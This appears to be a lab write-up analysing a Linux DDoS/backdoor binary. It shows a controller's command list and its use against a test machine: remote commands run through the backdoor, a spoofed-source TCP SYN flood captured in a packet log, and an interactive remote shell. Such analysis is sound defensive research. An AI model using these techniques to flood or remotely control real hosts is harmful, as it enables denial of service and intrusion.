Tests
monitor# ./sp
QUERY none
CONF0 ip
CONF1 ip
CONF2 ipx10
RUN string
DNS1A ip port b_use-host hostname
UDP dport ip ip use-host hostname
ICMP ip ip use-host hostname
SHELL none; telnet to port 61786
SYSTEM string
KILL none
DNS1B ip rate port b_use-host hostname
TCP dip dport b_rand-src sip b_use-host hostname
TCP2 dip dport b_rand-src sip lu_fact b_use-host hostname
DNS2 sip_0x, dip lu_fact sport_0 b_use-host
monitor# ./sp SYSTEM "ps aux | grep ming > /tmp/foo"
contents has 3 elements
NULLed
sent sent 185
-----------------
infected# cat /tmp/foo
root 965 0.0 0.3 1344 400 tty1 S 12:43 0:00 /sbin/mingetty tt
root 966 0.0 0.3 1344 400 tty2 S 12:43 0:00 /sbin/mingetty tt
root 967 0.0 0.3 1344 400 tty3 S 12:43 0:00 /sbin/mingetty tt
root 968 0.0 0.3 1344 400 tty4 S 12:43 0:00 /sbin/mingetty tt
root 969 0.0 0.3 1344 400 tty5 S 12:43 0:00 /sbin/mingetty tt
root 970 0.0 0.3 1344 400 tty6 S 12:43 0:00 /sbin/mingetty tt
root 1053 0.0 0.0 244 72 ? S 12:46 0:00 [mingetty]
root 1080 0.0 0.0 244 72 ? S 15:20 0:00 [mingetty]
root 1081 0.0 0.0 244 72 ? S 15:20 0:00 [mingetty]
After sending the ps command from 'monitor' we look for a file '/tmp/root' on 'infected'. In
addition to the real mingetty process. We see three additional ones. The second one is the one that
runs the program. The third process is a timer that will kill the second one after 20 minutes.
We will try one of the TCP SYN attacks. We will use a random source IP and attack the smtp port on 10.10.10.10.
No. Time Source Destination Protocol Info
1 0.000000 00:50:56:ed:cc:5f ff:ff:ff:ff:ff:ff ARP Who has 192.168.208.128? Tell 192.168.208.129
2 0.003116 00:50:56:cf:e7:82 00:50:56:ed:cc:5f ARP 192.168.208.128 is at 00:50:56:cf:e7:82
3 0.004350 192.168.208.129 192.168.208.128 IP Unknown (0x0b)
4 0.013509 48.168.227.26 10.10.10.10 TCP 1002 > 25 [SYN] Seq=21105253 Ack=0 Win=436 Len=0
5 0.022773 132.203.141.10 10.10.10.10 TCP 37748 > 25 [SYN] Seq=39679792 Ack=0 Win=1577 Len=0
6 0.036423 100.111.234.246 10.10.10.10 TCP 17048 > 25 [SYN] Seq=12948328 Ack=0 Win=670 Len=0
7 0.047388 59.193.81.211 10.10.10.10 TCP 19147 > 25 [SYN] Seq=16884809 Ack=0 Win=1597 Len=0
8 0.055203 97.115.18.139 10.10.10.10 TCP 11718 > 25 [SYN] Seq=32437284 Ack=0 Win=1370 Len=0
9 0.066187 107.50.40.150 10.10.10.10 TCP 2052 > 25 [SYN] Seq=18478549 Ack=0 Win=421 Len=0
10 0.073792 132.124.104.112 10.10.10.10 TCP 30806 > 25 [SYN] Seq=17846612 Ack=0 Win=258 Len=0
11 0.081813 60.86.219.236 10.10.10.10 TCP 39896 > 25 [SYN] Seq=14907996 Ack=0 Win=1570 Len=0
12 0.089438 218.37.119.175 10.10.10.10 TCP 38678 > 25 [SYN] Seq=11403249 Ack=0 Win=943 Len=0
13 0.097294 233.113.211.169 10.10.10.10 TCP 12461 > 25 [SYN] Seq=38207937 Ack=0 Win=1064 Len=0
14 0.105066 109.142.143.52 10.10.10.10 TCP 36220 > 25 [SYN] Seq=15441664 Ack=0 Win=1194 Len=0
15 0.112931 48.27.230.43 10.10.10.10 TCP 10868 > 25 [SYN] Seq=2573909 Ack=0 Win=1288 Len=0
Indeed we do have SYN requests generated from random sources. Note also that the source port and
the sequence numbers are also random making it difficult to identify the attack by those fields.
The shell command is a little tricky to use. A simple telnet to the destination for does not work very well because the lines are terminated by a cr/lf pair. It's probably possible to get telnet to only send the nl. Instead I wrote a simple perl script that would send my commands to the shell and print any responses back. The main difficulty is the lack of a prompt.
monitor# ./sp shell monitor# --------------------- [jwk@Kernel active]$ hostname Kernel [jwk@Kernel active]$ ./tel hostname infected uname -a Linux infected 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown ps aux | grep mingetty root 965 0.0 0.3 1344 400 tty1 S 12:43 0:00 /sbin/mingetty tt root 966 0.0 0.3 1344 400 tty2 S 12:43 0:00 /sbin/mingetty tt root 967 0.0 0.3 1344 400 tty3 S 12:43 0:00 /sbin/mingetty tt root 968 0.0 0.3 1344 400 tty4 S 12:43 0:00 /sbin/mingetty tt root 969 0.0 0.3 1344 400 tty5 S 12:43 0:00 /sbin/mingetty tt root 970 0.0 0.3 1344 400 tty6 S 12:43 0:00 /sbin/mingetty tt root 1053 0.0 0.0 244 72 ? S 12:46 0:00 [mingetty] root 1088 0.0 0.0 244 72 ? S 15:41 0:00 [mingetty] root 1097 0.0 0.0 188 16 ? R 15:43 0:00 grep mingetty exit [jwk@Kernel active]$ ----------------------- monitor# ./sp2 conf0 192.168.208.129 monitor# ./sp2 query Client is active. mode 6 (SHELL) monitor#After sending the shell command from my monitor machine. I then use tel to talk to the shell. It takes cares of sending the appropriate strings. Once connected I listed the hostname and did a ps to show the binaries process.
In addition I sent the QUERY command to the binary. Before doing that, I configured it with the return address. It responded that the client was active and processing command 6 which is a shell.
The other command that returns data is shell. The implementation I have is limited to receiving about 200 bytes since it only reads a single packet when the commmand is sent.
monitor# ./sp2 kill monitor# ./sp2 query Client is not active. monitor# ./sp2 run hostname infected monitor# ./sp2 run date Thu May 30 16:38:13 CDT 2002 monitor# ./sp2 run "ps aux | grep ming | grep -v sbin" root 1053 0.0 0.0 244 112 ? S 12:46 0:00 [mingetty] root 1215 0.0 0.0 244 112 ? S 16:40 0:00 [mingetty] root 1216 0.0 0.0 244 112 ? S 16:40 0:00 [mingetty] monitor# ./sp2 run "ps aux | grep ming | grep -v sbin" root 1053 0.0 0.0 244 112 ? S 12:46 0:00 [mingetty] root 1222 0.0 0.0 244 112 ? S 16:40 0:00 [mingetty] root 1223 0.0 0.0 244 112 ? S 16:40 0:00 [mingetty] monitor#First I kill the currently running attack and verify that fact. The ps commands were selected to show the binary's process ids and not include the real mingettys. (The output would have longer than a single packet.)